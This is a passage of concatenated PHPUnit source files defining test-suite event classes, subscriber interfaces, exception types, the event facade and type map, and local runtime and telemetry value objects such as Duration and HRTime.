view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Loaded implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly TestSuite $testSuite; public function __construct(Telemetry\Info $telemetryInfo, TestSuite $testSuite) { $this->telemetryInfo = $telemetryInfo; $this->testSuite = $testSuite; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function testSuite(): TestSuite { return $this->testSuite; } public function asString(): string { return sprintf( 'Test Suite Loaded (%d test%s)', $this->testSuite->count(), $this->testSuite->count() !== 1 ? 's' : '', ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface LoadedSubscriber extends Subscriber { public function notify(Loaded $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Skipped implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly TestSuite $testSuite; private readonly string $message; public function __construct(Telemetry\Info $telemetryInfo, TestSuite $testSuite, string $message) { $this->telemetryInfo = $telemetryInfo; $this->testSuite = $testSuite; $this->message = $message; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function testSuite(): TestSuite { return $this->testSuite; } public function message(): string { return $this->message; } public function asString(): string { return sprintf( 'Test Suite Skipped (%s, %s)', $this->testSuite->name(), $this->message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface SkippedSubscriber extends Subscriber { public function notify(Skipped $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Sorted implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly int $executionOrder; private readonly int $executionOrderDefects; private readonly bool $resolveDependencies; public function __construct(Telemetry\Info $telemetryInfo, int $executionOrder, int $executionOrderDefects, bool $resolveDependencies) { $this->telemetryInfo = $telemetryInfo; $this->executionOrder = $executionOrder; $this->executionOrderDefects = $executionOrderDefects; $this->resolveDependencies = $resolveDependencies; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function executionOrder(): int { return $this->executionOrder; } public function executionOrderDefects(): int { return $this->executionOrderDefects; } public function resolveDependencies(): bool { return $this->resolveDependencies; } public function asString(): string { return 'Test Suite Sorted'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface SortedSubscriber extends Subscriber { public function notify(Sorted $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use function sprintf; use PHPUnit\Event\Event; use PHPUnit\Event\Telemetry; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Started implements Event { private readonly Telemetry\Info $telemetryInfo; private readonly TestSuite $testSuite; public function __construct(Telemetry\Info $telemetryInfo, TestSuite $testSuite) { $this->telemetryInfo = $telemetryInfo; $this->testSuite = $testSuite; } public function telemetryInfo(): Telemetry\Info { return $this->telemetryInfo; } public function testSuite(): TestSuite { return $this->testSuite; } public function asString(): string { return sprintf( 'Test Suite Started (%s, %d test%s)', $this->testSuite->name(), $this->testSuite->count(), $this->testSuite->count() !== 1 ? 's' : '', ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestSuite; use PHPUnit\Event\Subscriber; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface StartedSubscriber extends Subscriber { public function notify(Started $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class EventAlreadyAssignedException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class EventFacadeIsSealedException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; interface Exception extends \PHPUnit\Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class InvalidArgumentException extends \InvalidArgumentException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class InvalidEventException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class InvalidSubscriberException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MapError extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestData; use PHPUnit\Event\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MoreThanOneDataSetFromDataProviderException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Test; use PHPUnit\Event\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class NoComparisonFailureException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\TestData; use PHPUnit\Event\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class NoDataSetFromDataProviderException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class NoPreviousThrowableException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; use PHPUnit\Event\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NoTestCaseObjectOnCallStackException extends RuntimeException implements Exception { public function __construct() { parent::__construct('Cannot find TestCase object on call stack'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class RuntimeException extends \RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class SubscriberTypeAlreadyRegisteredException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class UnknownEventException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class UnknownEventTypeException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class UnknownSubscriberException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class UnknownSubscriberTypeException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use function gc_status; use PHPUnit\Event\Telemetry\HRTime; use PHPUnit\Event\Telemetry\Php81GarbageCollectorStatusProvider; use PHPUnit\Event\Telemetry\Php83GarbageCollectorStatusProvider; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Facade { private static ?self $instance = null; private Emitter $emitter; private ?TypeMap $typeMap = null; private ?DeferringDispatcher $deferringDispatcher = null; private bool $sealed = false; public static function instance(): self { if (self::$instance === null) { self::$instance = new self; } return self::$instance; } public static function emitter(): Emitter { return self::instance()->emitter; } public function __construct() { $this->emitter = $this->createDispatchingEmitter(); } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function registerSubscribers(Subscriber ...$subscribers): void { foreach ($subscribers as $subscriber) { $this->registerSubscriber($subscriber); } } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ public function registerSubscriber(Subscriber $subscriber): void { if ($this->sealed) { throw new EventFacadeIsSealedException; } $this->deferredDispatcher()->registerSubscriber($subscriber); } /** * @throws EventFacadeIsSealedException */ public function registerTracer(Tracer\Tracer $tracer): void { if ($this->sealed) { throw new EventFacadeIsSealedException; } $this->deferredDispatcher()->registerTracer($tracer); } /** * @codeCoverageIgnore * * @noinspection PhpUnused */ public function initForIsolation(HRTime $offset, bool $exportObjects): CollectingDispatcher { $dispatcher = new CollectingDispatcher; $this->emitter = new DispatchingEmitter( $dispatcher, new Telemetry\System( new Telemetry\SystemStopWatchWithOffset($offset), new Telemetry\SystemMemoryMeter, $this->garbageCollectorStatusProvider(), ), ); if ($exportObjects) { $this->emitter->exportObjects(); } $this->sealed = true; return $dispatcher; } public function forward(EventCollection $events): void { $dispatcher = $this->deferredDispatcher(); foreach ($events as $event) { $dispatcher->dispatch($event); } } public function seal(): void { $this->deferredDispatcher()->flush(); $this->sealed = true; $this->emitter->testRunnerEventFacadeSealed(); } private function createDispatchingEmitter(): DispatchingEmitter { return new DispatchingEmitter( $this->deferredDispatcher(), $this->createTelemetrySystem(), ); } private function createTelemetrySystem(): Telemetry\System { return new Telemetry\System( new Telemetry\SystemStopWatch, new Telemetry\SystemMemoryMeter, $this->garbageCollectorStatusProvider(), ); } private function deferredDispatcher(): DeferringDispatcher { if ($this->deferringDispatcher === null) { $this->deferringDispatcher = new DeferringDispatcher( new DirectDispatcher($this->typeMap()), ); } return $this->deferringDispatcher; } private function typeMap(): TypeMap { if ($this->typeMap === null) { $typeMap = new TypeMap; $this->registerDefaultTypes($typeMap); $this->typeMap = $typeMap; } return $this->typeMap; } private function registerDefaultTypes(TypeMap $typeMap): void { $defaultEvents = [ Application\Started::class, Application\Finished::class, Test\DataProviderMethodCalled::class, Test\DataProviderMethodFinished::class, Test\MarkedIncomplete::class, Test\AfterLastTestMethodCalled::class, Test\AfterLastTestMethodErrored::class, Test\AfterLastTestMethodFinished::class, Test\AfterTestMethodCalled::class, Test\AfterTestMethodErrored::class, Test\AfterTestMethodFinished::class, Test\AssertionSucceeded::class, Test\AssertionFailed::class, Test\BeforeFirstTestMethodCalled::class, Test\BeforeFirstTestMethodErrored::class, Test\BeforeFirstTestMethodFinished::class, Test\BeforeTestMethodCalled::class, Test\BeforeTestMethodErrored::class, Test\BeforeTestMethodFinished::class, Test\ComparatorRegistered::class, Test\ConsideredRisky::class, Test\DeprecationTriggered::class, Test\Errored::class, Test\ErrorTriggered::class, Test\Failed::class, Test\Finished::class, Test\NoticeTriggered::class, Test\Passed::class, Test\PhpDeprecationTriggered::class, Test\PhpNoticeTriggered::class, Test\PhpunitDeprecationTriggered::class, Test\PhpunitErrorTriggered::class, Test\PhpunitWarningTriggered::class, Test\PhpWarningTriggered::class, Test\PostConditionCalled::class, Test\PostConditionErrored::class, Test\PostConditionFinished::class, Test\PreConditionCalled::class, Test\PreConditionErrored::class, Test\PreConditionFinished::class, Test\PreparationStarted::class, Test\Prepared::class, Test\PreparationFailed::class, Test\PrintedUnexpectedOutput::class, Test\Skipped::class, Test\WarningTriggered::class, Test\MockObjectCreated::class, Test\MockObjectForAbstractClassCreated::class, Test\MockObjectForIntersectionOfInterfacesCreated::class, Test\MockObjectForTraitCreated::class, Test\MockObjectFromWsdlCreated::class, Test\PartialMockObjectCreated::class, Test\TestProxyCreated::class, Test\TestStubCreated::class, Test\TestStubForIntersectionOfInterfacesCreated::class, TestRunner\BootstrapFinished::class, TestRunner\Configured::class, TestRunner\EventFacadeSealed::class, TestRunner\ExecutionAborted::class, TestRunner\ExecutionFinished::class, TestRunner\ExecutionStarted::class, TestRunner\ExtensionLoadedFromPhar::class, TestRunner\ExtensionBootstrapped::class, TestRunner\Finished::class, TestRunner\Started::class, TestRunner\DeprecationTriggered::class, TestRunner\WarningTriggered::class, TestRunner\GarbageCollectionDisabled::class, TestRunner\GarbageCollectionTriggered::class, TestRunner\GarbageCollectionEnabled::class, TestSuite\Filtered::class, TestSuite\Finished::class, TestSuite\Loaded::class, TestSuite\Skipped::class, TestSuite\Sorted::class, TestSuite\Started::class, ]; foreach ($defaultEvents as $eventClass) { $typeMap->addMapping( $eventClass . 'Subscriber', $eventClass, ); } } private function garbageCollectorStatusProvider(): Telemetry\GarbageCollectorStatusProvider { if (!isset(gc_status()['running'])) { // @codeCoverageIgnoreStart return new Php81GarbageCollectorStatusProvider; // @codeCoverageIgnoreEnd } return new Php83GarbageCollectorStatusProvider; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface Subscriber { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Tracer; use PHPUnit\Event\Event; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface Tracer { public function trace(Event $event): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event; use function array_key_exists; use function class_exists; use function class_implements; use function in_array; use function interface_exists; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TypeMap { /** * @psalm-var array */ private array $mapping = []; /** * @psalm-param class-string $subscriberInterface * @psalm-param class-string $eventClass * * @throws EventAlreadyAssignedException * @throws InvalidEventException * @throws InvalidSubscriberException * @throws SubscriberTypeAlreadyRegisteredException * @throws UnknownEventException * @throws UnknownSubscriberException */ public function addMapping(string $subscriberInterface, string $eventClass): void { $this->ensureSubscriberInterfaceExists($subscriberInterface); $this->ensureSubscriberInterfaceExtendsInterface($subscriberInterface); $this->ensureEventClassExists($eventClass); $this->ensureEventClassImplementsEventInterface($eventClass); $this->ensureSubscriberWasNotAlreadyRegistered($subscriberInterface); $this->ensureEventWasNotAlreadyAssigned($eventClass); $this->mapping[$subscriberInterface] = $eventClass; } public function isKnownSubscriberType(Subscriber $subscriber): bool { foreach (class_implements($subscriber) as $interface) { if (array_key_exists($interface, $this->mapping)) { return true; } } return false; } public function isKnownEventType(Event $event): bool { return in_array($event::class, $this->mapping, true); } /** * @throws MapError * * @psalm-return class-string */ public function map(Subscriber $subscriber): string { foreach (class_implements($subscriber) as $interface) { if (array_key_exists($interface, $this->mapping)) { return $this->mapping[$interface]; } } throw new MapError( sprintf( 'Subscriber "%s" does not implement a known interface', $subscriber::class, ), ); } /** * @psalm-param class-string $subscriberInterface * * @throws UnknownSubscriberException */ private function ensureSubscriberInterfaceExists(string $subscriberInterface): void { if (!interface_exists($subscriberInterface)) { throw new UnknownSubscriberException( sprintf( 'Subscriber "%s" does not exist or is not an interface', $subscriberInterface, ), ); } } /** * @psalm-param class-string $eventClass * * @throws UnknownEventException */ private function ensureEventClassExists(string $eventClass): void { if (!class_exists($eventClass)) { throw new UnknownEventException( sprintf( 'Event class "%s" does not exist', $eventClass, ), ); } } /** * @psalm-param class-string $subscriberInterface * * @throws InvalidSubscriberException */ private function ensureSubscriberInterfaceExtendsInterface(string $subscriberInterface): void { if (!in_array(Subscriber::class, class_implements($subscriberInterface), true)) { throw new InvalidSubscriberException( sprintf( 'Subscriber "%s" does not extend Subscriber interface', $subscriberInterface, ), ); } } /** * @psalm-param class-string $eventClass * * @throws InvalidEventException */ private function ensureEventClassImplementsEventInterface(string $eventClass): void { if (!in_array(Event::class, class_implements($eventClass), true)) { throw new InvalidEventException( sprintf( 'Event "%s" does not implement Event interface', $eventClass, ), ); } } /** * @psalm-param class-string $subscriberInterface * * @throws SubscriberTypeAlreadyRegisteredException */ private function ensureSubscriberWasNotAlreadyRegistered(string $subscriberInterface): void { if (array_key_exists($subscriberInterface, $this->mapping)) { throw new SubscriberTypeAlreadyRegisteredException( sprintf( 'Subscriber type "%s" already registered', $subscriberInterface, ), ); } } /** * @psalm-param class-string $eventClass * * @throws EventAlreadyAssignedException */ private function ensureEventWasNotAlreadyAssigned(string $eventClass): void { if (in_array($eventClass, $this->mapping, true)) { throw new EventAlreadyAssignedException( sprintf( 'Event "%s" already assigned', $eventClass, ), ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ClassMethod { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function __construct(string $className, string $methodName) { $this->className = $className; $this->methodName = $methodName; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ComparisonFailure { private readonly string $expected; private readonly string $actual; private readonly string $diff; public function __construct(string $expected, string $actual, string $diff) { $this->expected = $expected; $this->actual = $actual; $this->diff = $diff; } public function expected(): string { return $this->expected; } public function actual(): string { return $this->actual; } public function diff(): string { return $this->diff; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Code; use function is_bool; use function is_scalar; use function print_r; use PHPUnit\Framework\ExpectationFailedException; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ComparisonFailureBuilder { public static function from(Throwable $t): ?ComparisonFailure { if (!$t instanceof ExpectationFailedException) { return null; } if (!$t->getComparisonFailure()) { return null; } $expectedAsString = $t->getComparisonFailure()->getExpectedAsString(); if (empty($expectedAsString)) { $expectedAsString = self::mapScalarValueToString($t->getComparisonFailure()->getExpected()); } $actualAsString = $t->getComparisonFailure()->getActualAsString(); if (empty($actualAsString)) { $actualAsString = self::mapScalarValueToString($t->getComparisonFailure()->getActual()); } return new ComparisonFailure( $expectedAsString, $actualAsString, $t->getComparisonFailure()->getDiff(), ); } private static function mapScalarValueToString(mixed $value): string { if ($value === null) { return 'null'; } if (is_bool($value)) { return $value ? 'true' : 'false'; } if (is_scalar($value)) { return print_r($value, true); } return ''; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Runtime; use const PHP_OS; use const PHP_OS_FAMILY; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class OperatingSystem { private readonly string $operatingSystem; private readonly string $operatingSystemFamily; public function __construct() { $this->operatingSystem = PHP_OS; $this->operatingSystemFamily = PHP_OS_FAMILY; } public function operatingSystem(): string { return $this->operatingSystem; } public function operatingSystemFamily(): string { return $this->operatingSystemFamily; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Runtime; use const PHP_EXTRA_VERSION; use const PHP_MAJOR_VERSION; use const PHP_MINOR_VERSION; use const PHP_RELEASE_VERSION; use const PHP_SAPI; use const PHP_VERSION; use const PHP_VERSION_ID; use function array_merge; use function get_loaded_extensions; use function sort; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PHP { private readonly string $version; private readonly int $versionId; private readonly int $majorVersion; private readonly int $minorVersion; private readonly int $releaseVersion; private readonly string $extraVersion; private readonly string $sapi; /** * @psalm-var list */ private readonly array $extensions; public function __construct() { $this->version = PHP_VERSION; $this->versionId = PHP_VERSION_ID; $this->majorVersion = PHP_MAJOR_VERSION; $this->minorVersion = PHP_MINOR_VERSION; $this->releaseVersion = PHP_RELEASE_VERSION; $this->extraVersion = PHP_EXTRA_VERSION; $this->sapi = PHP_SAPI; $extensions = array_merge( get_loaded_extensions(true), get_loaded_extensions(), ); sort($extensions); $this->extensions = $extensions; } public function version(): string { return $this->version; } public function sapi(): string { return $this->sapi; } public function majorVersion(): int { return $this->majorVersion; } public function minorVersion(): int { return $this->minorVersion; } public function releaseVersion(): int { return $this->releaseVersion; } public function extraVersion(): string { return $this->extraVersion; } public function versionId(): int { return $this->versionId; } /** * @psalm-return list */ public function extensions(): array { return $this->extensions; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Runtime; use PHPUnit\Runner\Version; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class PHPUnit { private readonly string $versionId; private readonly string $releaseSeries; public function __construct() { $this->versionId = Version::id(); $this->releaseSeries = Version::series(); } public function versionId(): string { return $this->versionId; } public function releaseSeries(): string { return $this->releaseSeries; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Runtime; use function sprintf; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Runtime { private readonly OperatingSystem $operatingSystem; private readonly PHP $php; private readonly PHPUnit $phpunit; public function __construct() { $this->operatingSystem = new OperatingSystem; $this->php = new PHP; $this->phpunit = new PHPUnit; } public function asString(): string { $php = $this->php(); return sprintf( 'PHPUnit %s using PHP %s (%s) on %s', $this->phpunit()->versionId(), $php->version(), $php->sapi(), $this->operatingSystem()->operatingSystem(), ); } public function operatingSystem(): OperatingSystem { return $this->operatingSystem; } public function php(): PHP { return $this->php; } public function phpunit(): PHPUnit { return $this->phpunit; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; use function floor; use function sprintf; use PHPUnit\Event\InvalidArgumentException; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Duration { private readonly int $seconds; private readonly int $nanoseconds; /** * @throws InvalidArgumentException */ public static function fromSecondsAndNanoseconds(int $seconds, int $nanoseconds): self { return new self( $seconds, $nanoseconds, ); } /** * @throws InvalidArgumentException */ private function __construct(int $seconds, int $nanoseconds) { $this->ensureNotNegative($seconds, 'seconds'); $this->ensureNotNegative($nanoseconds, 'nanoseconds'); $this->ensureNanoSecondsInRange($nanoseconds); $this->seconds = $seconds; $this->nanoseconds = $nanoseconds; } public function seconds(): int { return $this->seconds; } public function nanoseconds(): int { return $this->nanoseconds; } public function asFloat(): float { return $this->seconds() + ($this->nanoseconds() / 1000000000); } public function asString(): string { $seconds = $this->seconds(); $minutes = 0; $hours = 0; if ($seconds > 60 * 60) { $hours = floor($seconds / 60 / 60); $seconds -= ($hours * 60 * 60); } if ($seconds > 60) { $minutes = floor($seconds / 60); $seconds -= ($minutes * 60); } return sprintf( '%02d:%02d:%02d.%09d', $hours, $minutes, $seconds, $this->nanoseconds(), ); } public function equals(self $other): bool { return $this->seconds === $other->seconds && $this->nanoseconds === $other->nanoseconds; } public function isLessThan(self $other): bool { if ($this->seconds < $other->seconds) { return true; } if ($this->seconds > $other->seconds) { return false; } return $this->nanoseconds < $other->nanoseconds; } public function isGreaterThan(self $other): bool { if ($this->seconds > $other->seconds) { return true; } if ($this->seconds < $other->seconds) { return false; } return $this->nanoseconds > $other->nanoseconds; } /** * @throws InvalidArgumentException */ private function ensureNotNegative(int $value, string $type): void { if ($value < 0) { throw new InvalidArgumentException( sprintf( 'Value for %s must not be negative.', $type, ), ); } } /** * @throws InvalidArgumentException */ private function ensureNanoSecondsInRange(int $nanoseconds): void { if ($nanoseconds > 999999999) { throw new InvalidArgumentException( 'Value for nanoseconds must not be greater than 999999999.', ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; use PHPUnit\Event\RuntimeException; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class GarbageCollectorStatus { private readonly int $runs; private readonly int $collected; private readonly int $threshold; private readonly int $roots; private readonly ?float $applicationTime; private readonly ?float $collectorTime; private readonly ?float $destructorTime; private readonly ?float $freeTime; private readonly ?bool $running; private readonly ?bool $protected; private readonly ?bool $full; private readonly ?int $bufferSize; public function __construct(int $runs, int $collected, int $threshold, int $roots, ?float $applicationTime, ?float $collectorTime, ?float $destructorTime, ?float $freeTime, ?bool $running, ?bool $protected, ?bool $full, ?int $bufferSize) { $this->runs = $runs; $this->collected = $collected; $this->threshold = $threshold; $this->roots = $roots; $this->applicationTime = $applicationTime; $this->collectorTime = $collectorTime; $this->destructorTime = $destructorTime; $this->freeTime = $freeTime; $this->running = $running; $this->protected = $protected; $this->full = $full; $this->bufferSize = $bufferSize; } public function runs(): int { return $this->runs; } public function collected(): int { return $this->collected; } public function threshold(): int { return $this->threshold; } public function roots(): int { return $this->roots; } /** * @psalm-assert-if-true !null $this->applicationTime * @psalm-assert-if-true !null $this->collectorTime * @psalm-assert-if-true !null $this->destructorTime * @psalm-assert-if-true !null $this->freeTime * @psalm-assert-if-true !null $this->running * @psalm-assert-if-true !null $this->protected * @psalm-assert-if-true !null $this->full * @psalm-assert-if-true !null $this->bufferSize */ public function hasExtendedInformation(): bool { return $this->running !== null; } /** * @throws RuntimeException on PHP < 8.3 */ public function applicationTime(): float { if ($this->applicationTime === null) { throw new RuntimeException('Information not available'); } return $this->applicationTime; } /** * @throws RuntimeException on PHP < 8.3 */ public function collectorTime(): float { if ($this->collectorTime === null) { throw new RuntimeException('Information not available'); } return $this->collectorTime; } /** * @throws RuntimeException on PHP < 8.3 */ public function destructorTime(): float { if ($this->destructorTime === null) { throw new RuntimeException('Information not available'); } return $this->destructorTime; } /** * @throws RuntimeException on PHP < 8.3 */ public function freeTime(): float { if ($this->freeTime === null) { throw new RuntimeException('Information not available'); } return $this->freeTime; } /** * @throws RuntimeException on PHP < 8.3 */ public function isRunning(): bool { if ($this->running === null) { throw new RuntimeException('Information not available'); } return $this->running; } /** * @throws RuntimeException on PHP < 8.3 */ public function isProtected(): bool { if ($this->protected === null) { throw new RuntimeException('Information not available'); } return $this->protected; } /** * @throws RuntimeException on PHP < 8.3 */ public function isFull(): bool { if ($this->full === null) { throw new RuntimeException('Information not available'); } return $this->full; } /** * @throws RuntimeException on PHP < 8.3 */ public function bufferSize(): int { if ($this->bufferSize === null) { throw new RuntimeException('Information not available'); } return $this->bufferSize; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface GarbageCollectorStatusProvider { public function status(): GarbageCollectorStatus; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Event\Telemetry; use function sprintf; use PHPUnit\Event\InvalidArgumentException; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class HRTime { private readonly int $seconds; private readonly int $nanoseconds; /** * @throws InvalidArgumentException */ public static function fromSecondsAndNanoseconds(int $seconds, int $nanoseconds): self { return new self( $seconds, $nanoseconds, ); } /** * @throws InvalidArgumentException */ private function __construct(int $seconds, int $nanoseconds) { $this->ensureNotNegative($seconds, 'seconds'); $this->ensureNotNegative($nanoseconds, 'nanoseconds'); $this->ensureNanoSecondsInRange($nanoseconds); $this->seconds = $seconds; $this->nanoseconds = $nanoseconds; } public function seconds(): int { return $this->seconds; } public function nanoseconds(): int { return $this->nanoseconds; } public function duration(self $start): Duration { $seconds = $this->seconds - $start->seconds(); $nanoseconds = $this->nanoseconds - $start->nanoseconds(); if ($nanoseconds < 0) { $seconds--; $nanoseconds += 1000000000; } if ($seconds < 0) { return Duration::fromSecondsAndNanoseconds(0, 0); } return Duration::fromSecondsAndNanoseconds( $seconds, $nanoseconds, ); } /** * @throws InvalidArgumentException */ private function ensureNotNegative(int $value, string $type): void { if ($value < 0) { throw new InvalidArgumentException( 